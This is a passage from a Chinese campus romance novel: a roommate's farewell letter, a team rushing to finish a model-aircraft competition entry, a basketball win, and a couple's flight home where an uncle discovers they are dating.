孙翡因为早晨有事来不了实验室,夏篱以为她打电话是想约自己一块吃午饭,却没想电话接通,那边第一句话就是:“夏篱!你们昨天出去玩,吃饭的时候是不是碰见冯哲了?这么重要的事你怎么都不跟我说啊?!他欺负你了吗?!昨天我给你发微信问你玩得怎么样回没回来你也没跟我说!咱俩不是天下第一好了是吗?!” 孙翡几乎很少叫夏篱全名,听声音这是真的有些生气了。不过夏篱却是有点好奇,“你怎么知道的?” 孙翡在话筒那边不满地“哼”了声,“还我怎么知道的……你没看社长在群里发的照片吗?虽然脸打了马赛克但你那身形和衣服我一眼就认出来了。” 原来是这样。 旁边有人,夏篱也不好说太多,只好哄了她两句,说中午一块吃饭时再详细给她说,就把电话给挂断了。 而中午吃饭时,孙翡在听了夏篱转述昨天的事情后,果然气不打一处来。义愤填膺地差点儿没摔筷子:“果然是‘事出反常必有妖’!昨天你跟我说你们宿舍团建我就该多一嘴问问是谁提出来的!之前那次社长知道你和梁清波是室友想让你问问她资源的事,你当时说的话就让我觉得她有点问题,但你没说我也没好意思问,毕竟你们是一个宿舍的……但这次她也太过分了!这根本就不是人该干的事!” 夏篱抿了抿唇,没说话——不知道说什么。 孙翡看着她,半晌惆怅地叹了口气,“宝儿……你现在肯定很难受吧。” “……还好吧。” 她只是真的想不明白大波为什么会选择这样做。 “那以后你在宿舍里还不闹心死了,”孙翡皱眉,“天天面对面也够尴尬的。” 夏篱说:“昨天唐简建议我申请调换宿舍,当时我觉得有点兴师动众,没有必要。但……” “但是昨天回宿舍后发现好像不是那么回事,对吧?”孙翡接话。 夏篱点点头。 “不然你申请换到我们宿舍吧?”孙翡突然想起什么,一拍手提议道,“就我之前给你提过的那个大三学姐,她最近就跟她男朋友在找房子,说想搬出去一块住呢。等他们找到房子搬出去了,你就跟学校交个申请换到我们宿舍呗,这样我们一起玩就方便多了,还能一起上课!” 夏篱想了想,应了声:“好。” 接下来的几天,夏篱宿舍里的低气压持续蔓延。 梁清波几乎不和夏篱有任何眼神交流,即使同在宿舍,也像隐形人一样。乐苗和方茴试图调解,但效果甚微,对此两人也感到无能为力。 夏篱甚至开始期待孙翡宿舍里的那个学姐可以尽快找到房子,所以只能把更多精力投入到专业课和项目当中去。 资金到位后,采购、加工、测试各个环节都提速明显。“探索者2号”的研发进展顺利,许多之前因成本限制而无法实现的构想,如今都有了落地的可能。 但这种僵持的局面,在一周后的一个傍晚被打破了。 那天下午,夏篱刚从实验室回来,准备拿点资料再去图书馆。推开宿舍门,发现乐苗和方茴都在,表情有些异样。而梁清波的床铺位置……已经空了。 书桌收拾得干干净净,仿佛从未有人住过。 “大波……搬走了。”乐苗低声说,指了指夏篱的书桌,“她给你留了封信。” 夏篱的心猛地一沉,视线落在桌面上那个白色的信封上。 她走过去,拿起信封,指尖有些发凉。 乐苗和方茴对视一眼,默契地找了个借口离开了宿舍,留给夏篱独处的空间。 夏篱在书桌前坐下,盯着那封信看了很久,才缓缓拆开。 信纸上的字迹有些潦草。 夏篱: 当你看到这封信的时候,我已经办完手续搬离了宿舍。因为这里的一切,都让我感到窒息和难堪。 我知道,你大概永远也不会原谅我。我也不奢求你的原谅。做出那些事情的时候,我就知道我们回不去了。但我还是想写这封信,不是为自己辩解,只是想让你知道,站在我的角度,事情是什么样子的。 夏篱,你知道吗?我有时候真的很羡慕你,甚至是……嫉妒你。你拥有太多我梦寐以求却遥不可及的东西。 你还记得你脚受伤时坐的那辆轮椅吗?我后来好奇查过,那个牌子,那个型号,要十几万。十几万!只是因为你暂时脚不方便,你就可以眼都不眨地买下来代步。对你来说,那可能就像买杯奶茶一样平常。 可对我们这样的人来说呢?那可能是父母一年的收入,可能是砸锅卖铁才能凑齐的学费,可能是一个家庭全部的指望。 你聪明、漂亮,家世优越,甚至没有一点有钱人的傲慢和不可一世。你是我见过最好脾气的人。你这样的人,仿佛天生就站在聚光灯下。 你可以毫不犹豫地买下十几万一辆的定制轮椅,只因为脚伤需要代步十几二十天;你可以从容地拒绝冯哲那种人提出的、对我们普通人来说可能是改变命运的机会;你可以因为“喜欢”和“兴趣”,就义无反顾地投入一个看似毫无胜算的项目,只为自己纯粹而纯真的梦想。 你一定会觉得我卑劣、虚荣、不择手段吧。 是,我承认。 可那是因为我和你不一样。 我来自一个小县城,父母倾尽所有供我读书,他们盼着我出人头地,盼着我能在大城市站稳脚跟,改变家庭的命运。我没有任性的资本,也没有试错的余地。我必须抓住每一个可能的机会,哪怕它看起来不那么光彩,哪怕需要我放下自尊,去讨好,去算计。 刘雨萱学姐手里的资源,陆子航许诺的人脉,冯哲暗示的实习和推荐信……这些对你来说可能不值一提,甚至是你嗤之以鼻的“捷径”,但对我来说,却是能让我在这条拥挤的赛道上跑得快一点的唯一希望。我只是想变得更好,想得到我想要的,想不辜负父母的期望,这有错吗? 你说我不该把矛头对准你。可夏篱,你想过没有?你的存在本身,就像一面镜子,照得我的努力和挣扎如此可笑和卑微。你那么轻易就拥有的东西,却是我拼尽全力也够不到的。 坦诚说,我时常会想到刚刚开学时我们第一天遇见的情形。我曾经真的很想和你做很好的朋友的。可是后来,你的“平易近人”,你的“努力拼搏”,在我眼里,都带着一种何不食肉糜的天真。 你拥有太多,所以你可以轻易地说“不”,可以不在乎那些“蝇头小利”。因为你身后有退路。你永远不会真正理解,我们这样的普通人,为了抓住一个可能改变命运的机会,内心需要经历怎样的挣扎和取舍。 航模社和冯哲的事,是我对不起你。我不求你理解我的选择,只希望你知道,不是所有人都像你一样,有底气可以选择“光明正大”的奋斗。 我们生活在同一个屋檐下,看着同样的风景,但脚下的路却是截然不同的。你的路宽阔平坦,有无数盏灯为你照亮前方;而我的路狭窄崎岖,必须拼尽全力,甚至不惜手段,才能为自己挣得一丝微光。 我不奢求你的原谅,搬走是我自己的选择。写下这些,也不是为了让你同情,只是想让你知道,并非所有的“恶”,都源于纯粹的坏。有时候,它只是源于差距,源于绝望,源于一个普通人想要抓住点什么的那点可怜又可悲的执念。 最后,祝你们的项目可以成功。 再见。 梁清波 信纸在夏篱手中微微颤抖。 信里的每一个字都像带着尖刺,扎得她心里又麻又痛。 初时那天她赤脚从床铺上爬下来一一给她们的那个拥抱还历历在目,可梁清波的这封信,却像一把钝刀,割开了夏篱自以为是的一切。 她没有动,只是静静地坐着,胸口像是被什么东西重重压着,喘不过气来。 她半张开嘴急促地呼吸着,试图压下从喉咙窜向鼻尖的那一阵阵酸意。 可是—— 一滴、两滴、三滴…… 明明连那天唐简抱她在怀里告诉她想哭就哭时,她都没想过要掉眼泪的。 可此时豆大的泪珠却像是断了线的珠子一样啪嗒啪嗒地砸在手里的纸张上。 她一直以为,只要自己努力、真诚,就能赢得尊重和友谊,可当那句“做很好的朋友”被一点一点氤氲成模糊不清的颜色,却仿佛是在嘲笑着她的“天真”。 第86章 梁清波的离开, 像一阵风刮过湖面,起初涟漪阵阵,但最终湖面还是渐渐恢复了平静。宿舍里少了个人, 空间似乎宽敞了些,乐苗和方茴也默契地不再提起她。夏篱申请调换宿舍的想法为此也搁置下去, 但孙翡明白她表面看起来再云淡风轻,心里一定还是难过的。 孙翡在私下悄悄跟乐苗和方茴沟通过后,自己跟学校提交了换寝申请,某天瞒着夏篱搬进宿舍,住在了梁清波曾经的位置。 她希望自己可以慢慢让夏篱忘记那些不愉快, 就好像她从来没有出现过。 从孙翡当初在活动馆看到夏篱的第一眼, 她就觉得她是她见过最勇敢坚韧的女孩, 而成为朋友以来的这段时间, 她更是深切感受到她作为朋友的真诚和待人善良友好的一面。她是个对梦想执着纯真的好女孩,不该被人如此欺负和辜负。 而夏篱那天推开寝室门看到她那一刹惊喜又感动的眼神和拥抱,孙翡知道, 自己的决定并没有错。 …… 夏篱的生活被紧张的课程和更加忙碌的项目填满。 启明科技的投资不仅带来了资金,更带来了专业的视野和资源。团队在岑静那边引荐的技术顾问指导下,对“探索者2号”的设计进行了多次优化。 何晓雯和夏篱的算法在更强大的计算平台跑出了令人振奋的结果;王海终于用上了心心念念的航空级碳纤维复合材料;张铭轩捣鼓着启明提供的先进传感器模块, 如获至宝…… 时间像流星划过,期末的氛围渐渐浓厚。就在各科考试接踵而至的同时, SAE国际航空设计大赛的东亚区选拔赛也正式拉开了帷幕。提交最终报告和演示视频的截止日期近在眼前。 307实验室的灯火通明成为了常态,每个人都在进行最后的冲刺。 周予负责的报告撰写压力巨大, 眼镜熬得通红。陈默的自主导航系统进入了最关键的联调阶段。孙翡在刘淌的带领下,飞行模拟器的操作越发娴熟,承担了大量的模拟测试任务。 在提交截止日的前三天,团队遇到了一个棘手的问题。“探索者2号”在高速俯冲拉起的高过载测试中, 机翼根部连接件出现了细微的裂纹。虽然暂时没有导致结构失效,但这是一个潜在的重大安全隐患。 “材料强度还是不够?还是设计有问题?”王海盯着裂纹,眉头紧锁。 “时间太紧了,重新设计加工肯定来不及。”张铭轩焦虑地抓着头发。 实验室里气氛瞬间凝重。 距离最终提交只剩三天,如果这个问题不解决,之前的努力可能功亏一篑。 “能不能加强局部结构?”唐简附身仔细观察着裂纹位置,“用碳纤维布叠加粘贴,做局部补强。” “可以试试,但要计算好增重对重心和气动的影响。”何晓雯立刻接话。 “我来算。”夏篱已经打开了建模软件,“王海学长,你准备材料和工具。唐简,我们需要立刻再做一次有限元分析,确定补强的最佳方案和范围。” 没有慌乱没有抱怨,在巨大的压力下,团队展现出了惊人的凝聚力和执行力。指令清晰,分工明确。当窗外泛起鱼肚白时,局部补强方案确定并实施完毕。经过新一轮的测试,裂纹问题没有再出现。 连续十几个小时的奋战让所有人都精疲力尽,夏篱靠在椅背上,看着窗外晨曦微露的天色,实验室里只剩下仪器低沉的嗡鸣和伙伴们平稳的呼吸声。那一瞬间,她感到一种奇异的平静与满足——不是为某个人的成就,而是为这个团队在极限压力下迸发出的力量。 所有人都长长舒了一口气,疲惫的脸上露出了笑容。夏篱一面觉得身体像被掏空似的,另一面却又感觉精神异常亢奋。她看向唐简,他正低头检查着补强处,侧脸在晨曦中勾勒出坚毅的轮廓,眼底有血丝,但眼神依旧深邃明亮。 最终,在截止日期前的最后一个小时,凝聚了团队数月心血的最终报告和精心剪辑的演示视频,成功上传至大赛官方系统。 邮件发送成功的提示弹出时,实验室里一片寂静。随即,不知道谁先笑出了声,接着是欢呼和击掌,是如释重负的拥抱。 周予更是激动地眼圈发红,跳到椅子上高举双手嚎叫,活像是已经拿到奖项了一样。 可是他们确实做到了。 无论结果如何,他们倾尽了全力,跨越了无数的障碍,走到了这里。 夏篱和唐简相视而笑,那一刻,所有的疲惫、压力、曾经有过的争执和困惑,仿佛都融化在了这共同奋斗后的巨大喜悦之中。 期末考接踵而至。 航模社的项目暂告一段落,夏篱收拾心情,投入到各科的复习当中去。 只是不同于其他人的紧张和忐忑,这样普通而平常的校园节奏,反而让她感到前所未有的轻松,她甚至有时间积极报名北城乃至周边城市的各个篮球赛裁判,开始为明年的CUBAL的裁判资格做准备。 与此同时,唐简也迎来了CUBAL分区赛的关键战役。 分区赛强度远非基层赛可比,对手皆是各省脱颖而出的强队。唐简作为球队核心,在航模社最终提交后便立刻投入高强度训练,常常是刚离开实验室就赶往篮球馆,有时甚至复习资料都直接带去,在训练间隙争分夺秒地看。 夏篱和孙翡去看了小组赛最后一战,对手是去年分区赛四强的南华大学。胜负直接决定出线权,场馆内人声鼎沸。 比赛从一开始就陷入胶着。南华大学防守严密,显然深入研究过唐简他们团队的比赛视频,针对性极强,不断用身体对抗消耗唐简。 第三节 末,北城大学仍落后7分。唐简在一次突破中被撞到,右膝重重磕在地板上——那天场景历历在目,夏篱下意识攥紧了手。 队医迅速上场处理。 程愈伸手拉唐简起身,他活动了一下右腿,对教练做了个继续的手势。 重新上场后,唐简明显改变了打法,减少强突,更多利用掩护和传球串联进攻。但在防守端,他依然如同磐石,一次次精准判断对手传球路线,第四届初段连续两次抢断,迅速发动反击,将分差缩小到3分。 最后三分钟,南华大学明显加强了对唐简的包夹。一次进攻时间将至,球几经传导又回到他手中,面对两人风度,他毫不犹豫地在三分线外两步急停起跳—— 篮球划过极高弧线,在全场注视下空心入网! 追平! “Wow——!”整个球馆沸腾了。 最后四十八秒,北城大学成功放下对方进攻,程愈控球压时间。最后一攻,球依然交给唐简。他面对严防,连续变向晃动,凭借爆发力突了一步,在包夹形成前果断后仰跳投—— 球进灯亮!!! 北城大学以两分险胜,成功晋级分区赛淘汰赛阶段。 终场哨响那一刻,队员们激动地冲上场将唐简团团围住。汗珠顺着他下颌滚落,他重重的喘息,抬头望向看台。越过喧嚣人群,精准捕捉到那个高举双手兴奋跳跃的身影。 他笑起来,汗水浸湿的眉眼在灯光下格外清晰。 …… 赛后回到学校,夏篱把从校医院买来的喷雾塞进唐简兜里。 “真没事,队医看过了。”唐简不以为意。 “别想敷衍我!”她插腰警告,“喷的时候要发视频给我看!” “不好吧,”他故意说,“我们只是在谈恋爱,你怎么就想看我珍贵的身体。” 夏篱哭笑不得,踩着滑板就去揪他的脸,“唐建军,我让你胡说八道!” 唐简哈哈笑着往远处跑,夏篱踩着滑板紧追其上。 晚风扑面,带着冬日的凛冽,吹在脸上有些刺痛,但笑声也被捎得很远很远。 夏篱考完最后一门的那天下午,天空飘起了细碎的雪花。 这是今冬的第一场雪。 她走出考场,深吸了一口清冷的空气。唐简等在楼下,肩头落了些许雪花。 见她出来,他自然地接过她的背包,牵起她的手揣进自己大衣口袋里,“走吧,大家应该都快到了。” 夏篱回握紧他的手,长吁口气,歪着脑袋看唐简,“如果我们没通过你会怎么办?会很失望吗?” “失望当然会有,”唐简看她笑了笑,“但我们不会失败。” “对自己这么有信心的吗?”夏篱调侃笑道。 唐简也笑,扭头在她额角轻啄了下,“是对你有信心。” “……”啧。 307实验室。 一圈人围着电脑屏幕,屏幕上显示的是SAE大赛东亚区选拔赛的初筛结果公示页面。 周予移动鼠标,在通过初筛、晋级决赛的团队名单中,缓缓滚动。 然后,夏篱看到了那个熟悉的名字——北城大学(Beicheng University),项目名称:Explorer-2,指导老师:学生自主项目。团队成员列表:夏篱、唐简、周予、何晓雯、王海、张铭轩、陈默、刘淌、孙翡…… 他们的名字,赫然在列。 通过了! 夏篱怔怔地看着屏幕,一时间竟有些失语。心脏在胸腔里有力地跳动着,一股热流涌向四肢百骸。 唐简伸出手,紧紧握住了她的。 他的手心温暖而干燥,带着令人安心的力量。 从前每次都兴奋不已,聒噪激动的周予此时竟然意外的安静,好半晌,他才笑着低声说了句:“还行。可以过个好年了。” 第87章 期末成绩陆续公布后, 寒假如期而至。 校园仿佛被按下了慢放键,喧嚣的人潮褪去,只剩下零星留校的学生和凛冽的北风。拖着行李箱走出宿舍楼时, 夏篱回头望了一眼安静的窗口,明明只才短短一个学期而已, 却仿佛过了许久许久一样。 机场大厅里,人流如织。唐简自然地推着夏篱随身的小行李箱,另一只手牵着她,穿过安检队伍。他今天穿了件深灰色的羊毛大衣,衬得身子愈发挺拔, 神情是卸下连日征战疲惫后的松弛。 “昨天是不是没睡好?”他低头看她, 指尖在她掌心轻轻挠了挠, “上了飞机可以再睡会儿。” 也不知是因为要回家太过兴奋还是这短短一学期的跌宕起伏让她感慨万分, 夏篱昨晚确实有些睡眠不足。闻言她点点头,歪着脑袋靠在他肩上打了个小小的哈欠,“嗯, 估计飞机一起飞我就能睡着。” 直到坐上飞机,系好安全带,夏篱才真正有种“结束了”的实感。紧张的学期、压力巨大的项目冲刺还有那些掺杂着苦涩与甜蜜的人际关系……都被暂时封存在这座城市。引擎的轰鸣声响起, 她靠在舷窗边,看着地面越来越远, 城市缩成一片微缩景观,思绪也渐渐飘远。 甘棠。 那个名字本身就带着草木清香和安宁气息的小镇。 那里有爬满青藤的老墙, 有蜿蜒流过镇子的溪流,有四季不败的花田,尤其是冬季,暖房篱培育的各种珍惜花卉正是出口的旺季, 空气中仿佛都浮动着暗香。 上一次国庆假期回甘棠,那时她和唐简之间隔着一层说不清道不明的隔阂与别扭,她为自己的“理想型”困惑,为他莫名的靠近和管束而心烦意乱。幸好……有妈妈那番温柔的开导,像一只无形的手,轻轻拨开了她眼前的迷雾,让她开始正视唐简在自己生命中那独一无二、早已超越“发小”界限的位置。 当时她身在其中,惘然未觉。如今再回想,那段纠结、试探、最终彼此确认心意的过程,仿佛已经过去了很久,又仿佛就发生在昨天。 思绪纷飞间,困意如潮水般涌上。夏篱迷迷糊糊地闭上了眼睛,意识沉入黑暗前,最后的感觉是唐简小心地将毯子往上拉了拉,盖住了她的肩膀。 她睡得很沉,直到飞机遭遇一阵轻微的气流颠簸,才悠悠转醒。夏篱揉了揉眼睛,意识尚未完全回笼,带着刚睡醒的懵懂和慵懒。 “醒了?”身旁传来低沉温柔的声音。 夏篱迷瞪着“嗯”了声,声音带着睡意未消的沙哑,眼睛还是没能成功睁开,只是追问了句,“还有多久到?” “快了,已经提示在降高度了。” “……哦。”她把脑袋又歪在他肩膀上。 夏篱能感觉到唐简在自己发顶亲了口,温热的呼吸轻轻扫在自己沉重的眼皮上,音色含笑:“阿篱,你要不要睁开眼睛看一眼?” “嗯?”夏篱又打了个哈欠,才隐隐约约察觉到眼皮上方似乎有什么在轻轻晃动。 她睁开眼,看到被唐简骨节分明的手轻轻捏着的链子正悬在自己眼前,底下的吊坠有一下没一下地晃动着。 只一眼,夏篱就认出了眼前这枚吊坠的形状。 那是一个小小的、造型简约却极具机械美感的飞机引擎涡轮叶片。叶片线条流畅,细节精致,仿佛是微缩了无数倍的精密零件。而在叶片的中央,镶嵌着一颗细微却无比璀璨的钻石,在机窗透进来的阳光下,折射出耀眼的星芒。 夏篱的呼吸屏住了。 这根本不是普通的涡轮叶片造型,这是他们“探索者”系列验证机上,那个倾注了她无数心血、反复修改调试的矢量喷口叶片的抽象化、艺术化的设计。是那个简陋的“探索者1号”能够蹒跚起飞、完成基础动作的核心,也是“探索者2号”更加优化、承载着他们飞向大赛梦想的关键。 她下意识地伸手,指尖轻轻触碰到那冰凉的金属叶片,感受到上面精细的纹路。那颗镶嵌在中央的钻石,就像他们无数次在深夜里,面对失败和挫折时,始终未曾熄灭的、固执闪耀着的希望和热爱。 “这是……”她抬起头,诧异地看向他。 “纪念。”唐简看着她,目光深邃而专注,“纪念我们的‘探索者’,纪念我们刚刚结束的、了不起的一学期,也纪念……”他顿了顿,声音更低沉柔和了几分,“我们第一次,以现在这样的身份,一起回甘棠。” 不是青梅竹马的玩伴,不是针锋相对的“对手”,而是彼此确认心意的恋人。 夏篱的心像是被温水泡过,柔软得一塌糊涂。她伸出指尖,小心翼翼地触碰了一下那冰冷却承载着无限暖意的叶片吊坠。 唐简解开搭扣,“我帮你戴上?” 夏篱轻轻“嗯”了一声,顺从地微微侧身,撩起脑后的长发,露出纤细白皙的脖颈。 唐简的动作很轻,指尖偶尔擦过她颈后的皮肤,带着温热的触感,引起一阵细微的战栗。项链贴上皮肤,传来一丝凉意,但很快被体温熨暖。那个小小的、带着钻石星芒的涡轮叶片,正好垂落在她的锁骨之间,重量恰到好处,像一枚无声的誓言,又像一颗播种在心口的梦想种子。 戴好后,夏篱低头,用手指轻轻捻起那个吊坠,仔细端详。越看越觉得设计精妙,既保留了工业设计的硬核美感,又融入了珠宝的精致与柔情。那颗镶嵌在中央的钻石,如同他们项目成功那一刻,在她心中炸开的烟花,也如同此刻,她眼底因为意外而泛起的光。 “喜欢吗?”唐简的声音压低了些,带着一丝不易察觉的紧张和期待,“我画了图,特意找人定做的。” “喜欢。”夏篱毫不犹豫地回答,抬起头,对他绽开一个无比明亮、毫无保留的笑容,“特别喜欢。” 这是她收到过的,最特别、最用心、最懂她的礼物。 不张扬,却仿佛蕴含着巨大的力量。 它连接着他们一起看星星、许下要造飞机梦想的童年;见证着他们并肩作战、共同奋斗取得第一个里程碑的现在,也期许着他们关于天空,关于梦想,关于彼此的未来。 飞机穿透云层,开始下降。 广播里响起空乘提醒乘客调直座椅靠背、打开遮光板的声音。 夏篱抬手打开了舷窗。 一瞬间,耀眼的阳光涌入机舱。窗外,是蓝得如同宝石般的天空,以及下方逐渐清晰起来的、连绵起伏的山脉和点缀其间的城镇。 阳光照射在她胸前的吊坠上,铂金页片反射出耀眼的白光,中央那颗小钻石更是迸发出绚烂的火彩,像一颗坠落在她心口的星星,随着她的呼吸轻轻起伏。 唐简伸手和她十指相扣,两人相视一笑。 可下一秒夏篱开口说出来的话,就让他瞬间笑不出来了。 久违地,他看见她从小到大只有在想使坏时眼中才会显现的狡黠和刁滑。 “唐建军,我们玩个游戏吧。”她凑过来靠在他耳边悄悄道。 唐简对上她近在咫尺的亮晶晶的瞳眸,唇边不自觉地染着宠溺的笑,“什么?” 夏篱眨眨眼,“我们打个赌。谈恋爱的事先不和爸妈他们说,看他们什么时候能自己发现。你赌他们会是在我们寒假期间还是寒假过后?” “当然是寒假期间。”唐简不假思索回。 毕竟想让他们发现那还不是分分…… “我们要像以前一样!”夏篱仿佛早料到他在想什么,马上补充,“你不可以故意在他们面前做一些容易让人误会产生怀疑的举动,这是作弊,不可以!” 唐简:“……” 他英气的眉瞬间皱起来,“什么意思……那这寒假期间我都不能抱你也不能亲你了?” “……”夏篱耳根子烫了烫,目光不自觉往一旁游移着“啧”了声,“你怎么这么‘饱暖思淫.欲’啊唐建军!身为社会主义接班人,你思想要健康要磊落知道吗?” “不知道。” “…………” 夏篱鼓着嘴泄气地靠回到椅背上,“不想玩就算了。” “生气了?”他捏了捏她手指。 “……没有。”她把头扭向窗外。 “明明就是生气了。” “……没有生气!” “…………” 过了会儿,广播开始提醒还有五分钟落地。 唐简看着夏篱头扭向窗外却把眼睛偷偷往他身上瞥的模样,有些忍俊不禁。良久他长叹口气,“好。我答应你。” “真的?”夏篱马上回头看他,脸上明明是一副“我早就料到会如此”的笃定。 “……”唐简说:“但我只答应和你‘演’到年初一。年后不管他们发没发现,我都要告诉他们。” “好!一言为定!”夏篱倒是答得非常爽快。 她答应的太快反而让唐简还惊讶了下,“真的?” “当然。”夏篱郑重点点头。 “……哦。” 机轮撞击地面的颠簸让机舱里传来一小阵喧嚷,夏篱看着唐简,对他勾了勾手指,“你过来一下,我有话告诉你。” 唐简不疑有他,偏过身子把耳朵凑向她。可下一瞬,就察觉自己脸侧被一只柔软的小手贴上,在他下意识随着那力道扭向身旁的她时,唇上温热的触感一触即分。 “谢谢我的男朋友,你真好。” 唐简:“…………!!!” 他显然没料到她会在“大庭广众”之下如此做,瞠目结舌地看着夏篱,瞬间收紧了握着她的那只手。 夏篱噗嗤一声。 傻样。 …… 下了飞机,廊桥外的空气带着南方冬日特有的湿暖,与北城干冽的寒风截然不同。唐简一手推着两人的行李箱,另一只手习惯性地就想伸过去牵夏篱,指尖刚碰到她手背,夏篱“嗖——”一下把手缩回了口袋,警告地“嘶”了声,还不忘把自己行李箱从他手里拿过来。 唐简动作一顿,无奈地收回手,摸了摸自己的鼻子,眼底却漾开一丝纵容的笑意。 接机口,夏篱一手抱着自己脱下来的外套,一手推着行李箱踩着小鱼板在人群里张望。听到有人叫自己,她扭头,很快看到远远朝自己挥手的小叔。 “小叔!”她高兴地用力朝他挥了挥手里的衣服。 乔桥笑着迎他们过来,先习惯性地抱住她揉了揉她的小脑袋,再顺手接过她手里那个小巧的行李箱,然后伸手和唐简一怼拳,单手和他用力拥抱了下,“可以啊小子,分区赛打得真不错!怎么,要冲击全国冠军啊?” “是有这个打算。”唐简笑。 “跟你爸一样,还真是不谦虚。”乔桥也笑。 三人叽叽喳喳聊着近况,很快到了停车场。唐简放好行李箱拉开后车门上车,看到坐在另一边的夏篱时,上车的动作顿了顿。 夏篱没发现他的停顿,一边自顾自戴着安全带,一边对刚拉开车门坐上驾驶座的乔桥说,“小叔,今年你会在家过完十五再走吗?” “应该会,”乔桥下意识扭头,“我和你婶婶——” 他看着空空如也的副驾驶,话头顿住,诧异地往后看着好整以暇坐在后座的夏篱。 “……你怎么坐后面了?” 夏篱一时没反应过来,看着自己小叔“啊?”了声。 乔桥回头看一眼忍着笑上车低头□□安全带插口的唐简,再看一眼明显已经意味过来哪里出错了的夏篱瞬间气恼绯红的脸,倒吸一口气,“什么情况啊你们两个兔崽子……不会是偷偷背着我们谈恋爱了吧?” 第88章 还真是“出师未捷身先死”。 怎么说自己老妈年轻时也是得过影后的天才少女, 自己怎么就没能遗传到她哪怕一丁点儿的演技呢! 乔桥看用力憋笑甚至有几分“幸灾乐祸”的“侄子”,再看眼中难掩懊恼的“侄女”,虽心中万般好奇和高兴, 还是忍不住调侃:“怎么样,这回是切身体会了把什么是‘习惯是最可怕的事’了吧?” 确实。 夏篱此时恨不得时光倒流——她怎么就鬼使神差地坐到后座来了?! 从前只要两人一起坐小叔的车, 她可是坚定不移的“副驾驶党”。可刚刚她几乎下意识地,自然而然地跟在唐简身后,看着他放好行李,拉开车门,然后自己就……顺理成章地坐了进来。 短短一个学期, 竟然就这么无声无息地改变了她和唐简之间维持了十几年的习惯?这改变如此自然, 连她自己都未曾察觉, 直到被小叔一语点破。 但此时夏篱还是拽着安全带垂死挣扎, “什么谈恋爱……你也太搞笑了小叔。我?跟唐简?我俩怎么可能会谈恋爱!傻子才会跟唐简谈恋爱好吗?!” 她声音不自觉地拔高,简直欲盖弥彰。 她一边说,一边偷偷瞟了一眼旁边的唐简。只见他倒是镇定, 只是嘴角控制不住地向上扬起一个明显的弧度,那双总是显得有点冷淡的眼睛里此刻盛满了戏谑和纵容的光,正看着她, 仿佛在说“算了吧,别挣扎了。” 她瞪他一眼:你敢乱说话就完蛋了。 唐简接收到她的目光, 无奈地摸了摸鼻子,把到了嘴边的笑意强行压了下去, 配合地低下头,装作专心致志研究安全带插口的样子,只是那微微耸动的肩膀泄露了他此刻的心情。 乔桥透过后视镜,将后座两个小家伙的互动尽收眼底。 夏篱那副此地无银三百两的激动模样, 和唐简那副“我什么都不知道我很无辜”实则忍笑忍得辛苦的表情,答案简直呼之欲出。 他挑了挑眉,脸上扬起一抹了然又促狭的笑容,拖长声音“哦——”了声,却没再继续追问,只是慢悠悠发动车子:“行吧,算小叔我眼拙看错了。我们家阿篱眼光高着呢,哪能看得上唐简这臭小子,是吧?” “……”夏篱用力抿了下唇,硬邦邦接话,“就是!” “…………” “…………” 车子平稳地驶出机场,汇入车流。车厢内陷入一种诡异的安静。 夏篱忍不住又偷偷去瞥旁边的唐简,发现他正侧头看着窗外,嘴角似乎还残留着一丝未来得及完全敛去的弧度。夏篱在乔桥看不见的角落,伸出脚悄悄踢了他一下。 唐简回过头看她,眼神里带着询问和无辜。 夏篱用口型无声地提醒他:“反驳我!” 唐简眼底笑意更深,也用口型回她:“我不。” 夏篱:“………………?!” 她还没来得及再说什么,驾驶座的乔桥又开了口,故意摇头晃脑道:“不对劲!真的不对劲!要是以往阿篱这么说,阿简你肯定会反驳一句‘明明是我看不上你’才对……今天怎么一声不吭啊?” 唐简对上后视镜里自家小叔明显故意调侃的双眼,但笑不语。 夏篱继续挣扎:“……那是因为他累了。刚在飞机上他就说他身体不舒服……身子太弱了吧。” 唐简:“…………?” 乔桥闻言实在是没忍住哈哈笑了起来,红灯,他踩下刹车,回头看自家小侄女,忍俊不禁道,“乖乖,你甚至能说一个男人丑,但是可千万不能说人家弱,懂吗?” 夏篱皮笑肉不笑地看他:“不懂。” 乔桥心里都快笑翻了。 走到半路,夏篱实在受不了乔桥那时不时瞥过来的、充满了“我看你还能装到什么时候”意味的眼神——那眼神就像羽毛一样,挠得她坐立难安。她深吸一口气,像是终于受不了这种精神折磨,破罐子破摔地开口,声音带着点自暴自弃:“好啦好啦!小叔!我们就是在谈恋爱!行了吧!” “哦?”乔桥故意拉长语调,装作很惊讶的样子,“真的假的?刚才不是还说傻子才跟他谈吗?这么快就承认自己是小傻子了?” “小叔!”夏篱耳根发烫,“不许笑话我!” 唐简再也忍不住笑,伸手握住夏篱挥在半空的手,然后和她十指交叉。 乔桥:“哟~哟呦~” 夏篱:“…………” “都怪你。”她挠了挠唐简掌心。 唐简失笑:“讲点道理。” 他明明听她的什么都没说。 绿灯,乔桥重新发动车子。 “你俩谈恋爱是好事啊,知根知底还肥水不流外人田!这多好啊,怎么还藏着掖着呢?” “不是藏着掖着,”唐简终于开口,笑着看后视镜里的小叔道,“原本我们提前说好了想回来后当面跟你们说的,但飞机上阿篱一时兴起,这才想玩个游戏来着。” “游戏?” “嗯。” 唐简三言两语把“游戏规则”说给小叔听,结果乔桥听完一点不客气地点评道:“可拉倒吧……就你们这样我都能一眼看出来,你爸妈他们怎么可能发现不了?别想了。” 夏篱一听,不服气的性子被激起来了。她眼珠子狡黠一转,对乔桥道,“那我们赌一下吧小叔。” “啊?”乔桥纳闷,“还赌?你赌徒啊?” “……”夏篱说:“刚才是我一时疏忽,业务不熟练。等回家我注意点当个事办就肯定不会再出错了……只要你配合一下,别拆穿我们就行。” 乔桥无言以对。 但他还没来得及开口接受或拒绝,就听身后的小侄子不大乐意地道,“我不想。” 哎哟。 那声音委屈的哟。 乔桥看好戏似的挑眉看向后视镜,就瞠目结舌地瞥见从小总是剑拔弩张对着某人的自家小侄女竟然晃着两人牵握的手撒、娇! “刚刚我们在飞机上不是说好的嘛!” 唐简被晃得不为所动,“可小叔刚刚已经发现了,说明游戏已经失败了。” “小叔不算!” “……” 乔桥忍不住插嘴:“怎么我就不算了?我不是人啊?” “小叔你小嘴巴闭上。” “…………” 黑色路虎缓缓驶入掩映在繁华绿树中的甘棠庄园。车刚停稳,夏篱就迫不及待地推开车门跳了下来,动作快得仿佛车里有什么洪水猛兽。她甚至没等唐简像从前那样帮她拿行李,自己就把小行李箱拽了出来,还故意发出了不小得动静。 乔桥看着这一幕,嘴角抽搐,努力憋着笑。 唐简无奈地伸手想去接夏篱手里的箱子,语气如常,“给我吧。” 反正就算是从前她也常常把他当“免费劳动力”用的。 